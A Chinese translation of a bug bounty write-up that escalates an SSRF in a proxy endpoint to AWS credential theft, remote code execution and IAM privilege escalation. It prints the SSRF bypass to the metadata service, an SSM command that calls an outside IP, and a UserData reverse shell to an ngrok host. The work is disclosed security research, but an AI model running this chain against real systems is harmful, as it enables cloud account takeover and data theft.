【翻译】漏洞赏金故事:在AWS上将SSRF升级为RCE(026)

admin 2023年12月25日22:52:21评论15 views字数 6397阅读21分19秒阅读模式

标题:Bug Bounty Story: Escalating SSRF to RCE on AWS

作者:hg8

原文地址:https://infosecwriteups.com/hunting-for-hidden-treasures-unveiling-the-403-bypass-bug-bounty-adventure-️-️-c6d17a0282ac

大家好,今天不是CTF(Capture The Flag)的写作,而是分享我的第一个漏洞赏金故事:在AWS上将SSRF(服务器端请求伪造)升级为RCE(远程代码执行)。

这个漏洞最初于2021年7月20日被报告,经过确认后于7月22日被确认为有效发现,并在8月1日得到了修复。与公司的沟通非常顺畅,补丁迅速推出。在解决了几个绕过问题之后,问题得以完全解决,并成功获得了漏洞赏金。

由于发现是在一个私有的漏洞赏金计划中,公司的名字已被隐去。

在这篇文章中,我将详细介绍如何发现这个漏洞,以展示整个研究过程。如果你是漏洞赏金领域的新手,希望这将对你有所帮助。

侦查

在进行常规的侦查阶段(基本上与CTF的侦查相同)时,我针对公司的子域名发现了一个引人注目的 proxify 端点。从这个端点的存在可以推测,它可能被用来代理某些内容。

【翻译】漏洞赏金故事:在AWS上将SSRF升级为RCE(026)


令人感兴趣的是,通过该端点可以公开访问,并且在设置用于导航应用程序的引用时显露。然而,直接调用该端点时,我们注意到它要求提供一个URL。

> curl --referer <redacted> https://<redacted>/proxify/ -i
HTTP/2 400
date: Tue, 20 Jul 2021 10:26:20 GMT
content-type: text/html; charset=utf-8
content-length: 13
cache-control: no-cache
vary: Accept-Encoding
vary: accept-encoding

Need to provide url%

让我们尝试给这个GET请求添加一个”url”参数

> curl --referer <redacted> "https://<redacted>/proxify/?url=https://example.com" -i
HTTP/2 200 
date: Sun, 20 Jul 2021 10:26:58 GMT
server: ECS (dcb/7F3B)
vary: Accept-Encoding
vary: Accept-Encoding,accept-encoding
via: <redacted>
x-cache: HIT

<!doctype html>
<html>
<head>
    <title>Example Domain</title>
(...)

拥有一个根据用户选择的URL进行HTTP请求的服务是有风险的,如果处理不当,可能会导致服务器端请求伪造(SSRF)漏洞。

服务器端请求伪造(也称为SSRF)是一种网络安全漏洞,它允许攻击者诱导服务器端应用程序对一个非预期的位置发起请求。在典型的SSRF攻击中,攻击者可能导致服务器与组织基础设施内仅限内部访问的服务进行连接。在其他情况下,他们可能能够强迫服务器连接到任意的外部系统,从而可能泄露敏感数据,如授权凭证。

确实,通过输入我们可以控制的URL,可以验证服务是否容易受到SSRF的攻击。为此,我们可以使用interact.sh,这是一个开源的外带交互收集服务器(它是Burp Collaborator的免费替代品)。

首先,我们需要打开我们的监听器:

> interactsh-client
    _       __                       __       __  
   (_)___  / /____  _________ ______/ /______/ /_ 
  / / __ / __/ _ / ___/ __ '/ ___/ __/ ___/ __ 
 / / / / / /_/  __/ /  / /_/ / /__/ /_(__  ) / / /
/_/_/ /_/__/___/_/   __,_/___/__/____/_/ /_/ v0.0.3

               projectdiscovery.io

[INF] Listing 1 payload for OOB Testing
[INF] abcdefghijklmnopkrstuvwxyz.interact.sh

然后,我们在proxify/端点使用生成的URL:

> curl --referer <redacted> "https://<redacted>/proxify/?url=https://abcdefghijklmnopkrstuvwxyz.interact.sh" -i
HTTP/2 200 
date: Sun, 20 Jul 2021 10:27:52 GMT
Server: interact.sh
Content-Length: 72
via: <redacted>

<html><head></head><body>abcdefghijklmnopkrstuvwxyz</body></html>

一旦请求完成,interact.sh立刻接收到了来自应用服务器的HTTP请求,确认了SSRF漏洞的存在:

【翻译】漏洞赏金故事:在AWS上将SSRF升级为RCE(026)


SSRF 攻击可能导致 AWS 凭证泄露。作为漏洞赏金猎人(或使用谷歌搜索),我们可以识别出 interract.sh 显示的调用者 IP 属于 AWS。知道这一点后,我们可以尝试连接 AWS 的私有 IP 来披露元数据。

在 AWS 中,EC2 实例可以通过访问位于 169.254.169.254 的元数据服务来获取关于实例的大量信息,如其 IP 地址、应用程序令牌、安全组名称等。根据配置,我们还可以找到 IAM 凭证,以该角色身份进行认证。如果使用的是 IMDS 版本 1,SSRF 可以被用来窃取这些信息和凭证。

让我们首先尝试检索安全凭证(https://169.254.169.254/latest/meta-data/iam/security-credentials/)。不幸的是,我们遭遇了以下错误:

URL 参数不能是私有 URL。

然而,通过几次尝试和错误,我们发现去掉 HTTP 协议头可以绕过这一限制:

> curl --referer <redacted> "https://<redacted>/proxify/?url=169.254.169.254/latest/meta-data/iam/security-credentials/" -i
HTTP/2 200
date: Tue, 20 Jul 2021 10:34:00 GMT
content-length: 20
server: EC2ws
via: <redacted>

ec2-default-ssm

一旦我们检索到了角色名称,我们就可以获取所有的凭证:

> curl --referer <redacted> "https://<redacted>/proxify/?url=169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm" -i
HTTP/2 200
date: Tue, 20 Jul 2021 10:36:50 GMT
content-length: 1337
server: EC2ws
via: <redacted>

{
  "Code" : "Success",
  "LastUpdated" : "2021-07-20T09:03:23Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "<redacted>",
  "SecretAccessKey" : "<redacted>",
  "Token" : "<redacted>",
  "Expiration" : "2021-07-20T16:10:48Z"
}%

没错。这些凭证随后可以与 AWS CLI 一起使用,以 IAM 角色的身份进行 API 调用。

让我们使用 AWS CLI 导入配置文件,以继续我们的枚举,并查看是否可以提升我们的权限:

> aws configure --profile bugbounty
AWS Access Key ID [None]: <redacted>
AWS Secret Access Key [None]: <redacted>
Default region name [None]: eu-west-1
Default output format [None]: json

这允许我们检索账户ID:

> aws sts get-caller-identity
{
    "UserId""<redacted>",
    "Account""<redacted>",
    "Arn""<redacted>"
}

远程代码执行

通过发送命令

从这里开始,对我们来说最好的情况是在EC2实例上实现远程代码执行。

最简单的方法是列出接受安全凭证以执行命令的实例。

> aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"
<redacted>

遗憾的是,该角色没有被授权执行send-command操作。否则,我们可以使用以下命令来获得远程代码执行(RCE)的能力:

> aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=curl 213.62.1.1:8000/`whoami`'
An error occurred (AccessDeniedException) when calling the SendCommand operation: User: <redacted> is not authorized to perform: ssm:SendCommand on resource: <redacted>

通过UserData

这第二种方法可能会触发警报和服务中断,但在某些情况下仍然可能实现远程代码执行。

为了避免干扰服务,首先与团队分享了这种方法,并在讨论后获得了一个测试实例,可以在该实例上安全验证概念验证(PoC)。

在配置 EC2 实例时,您可以指定在机器启动后自动执行的命令(通过 UserData)。

UserData 是经过 base64 编码的,可以通过 user-data 端点检索:

> curl http://169.254.169.254/latest/user-data

我们的目标是修改UserData以包含我们的命令,并重启EC2实例以便在启动时执行它。当然,这将触发警报并造成短暂的停机时间,因为需要重启实例。

以下是操作步骤:

  1. 停止所选的实例

    > aws ec2 stop-instances –instance-ids i-xxxxxxxxxxxxxxx
  2. 添加反向Shell脚本到现有实例的UserData末尾(如果有的话)

    #!/bin/bash
    bash -i >& /dev/tcp/0.tcp.ngrok.io/15547 0>&1
  3. 然后使用新创建的脚本更新实例的UserData:

    > base64 user_data.sh > user_data64.sh
    > aws ec2 modify-instance-attribute \
        --instance-id=i-xxxxxxxxxxxxxxx \
        --attribute userData --value file://user_data64.sh
  4. 启动一个本地监听器以捕获反向Shell。

    > nc -lvp 15547
    Listening on 0.0.0.0 15547
  5. 使用新添加的用户数据启动实例:

    > aws ec2 start-instances –instance-ids i-xxxxxxxxxxxxxxx
  6. 就这样!我们在实例上获得了一个Shell。

    > nc -lvp 15547
    Listening on 0.0.0.0 15547
    [root@xxx-xx-xx-xxx html]#

注意:所有这些步骤可以使用Pacu合并成一个命令执行。

Pacu > run ec2__startup_shell_script --script user_data.sh --instance-ids i-xxxxxxxxxxxxxxx@eu-west-1

权限提升

不幸的是,我们很快注意到在实例上我们几乎没有任何权限。真遗憾。

幸运的是,我们之前注意到我们当前的用户有权限创建策略版本:

> aws iam get-policy-version --policy-arn arn:aws:iam::xxxxxxxxxxxxxxx:policy/MyPolicy --version-id v2
{
    "PolicyVersion": {
        "CreateDate""2015-06-17T19:23;32Z",
        "VersionId""v2",
        "Document": {
                      "Version""2012-10-17",
                      "Statement": [
                              {
                                      "Action""iam:CreatePolicyVersion",
                                      "Resource""*",
                                      "Effect""Allow"
                              }
                      ]
                }
        "IsDefaultVersion""false"
    }
}

让我们创建一个拥有所有权限的新策略,并将其设置为默认策略:

[root@xxx-xx-xx-xxx html]# aws iam create-policy 
    --set-as-default --policy-document 
'{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}'

我们完成了!新的ec2_role现在被允许执行任何任意操作。完全控制了实例。

每周一9点发布精选内容。

每周三9点发布翻译内容。

更多安全资讯,请关注微信公众号:安全虫。


每周坚持学习与分享,觉得文章对你有帮助可在底部给点个“在看”。



原文始发于微信公众号(安全虫):【翻译】漏洞赏金故事:在AWS上将SSRF升级为RCE(026)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月25日22:52:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【翻译】漏洞赏金故事:在AWS上将SSRF升级为RCE(026)https://cn-sec.com/archives/2230997.html

发表评论

匿名网友 填写信息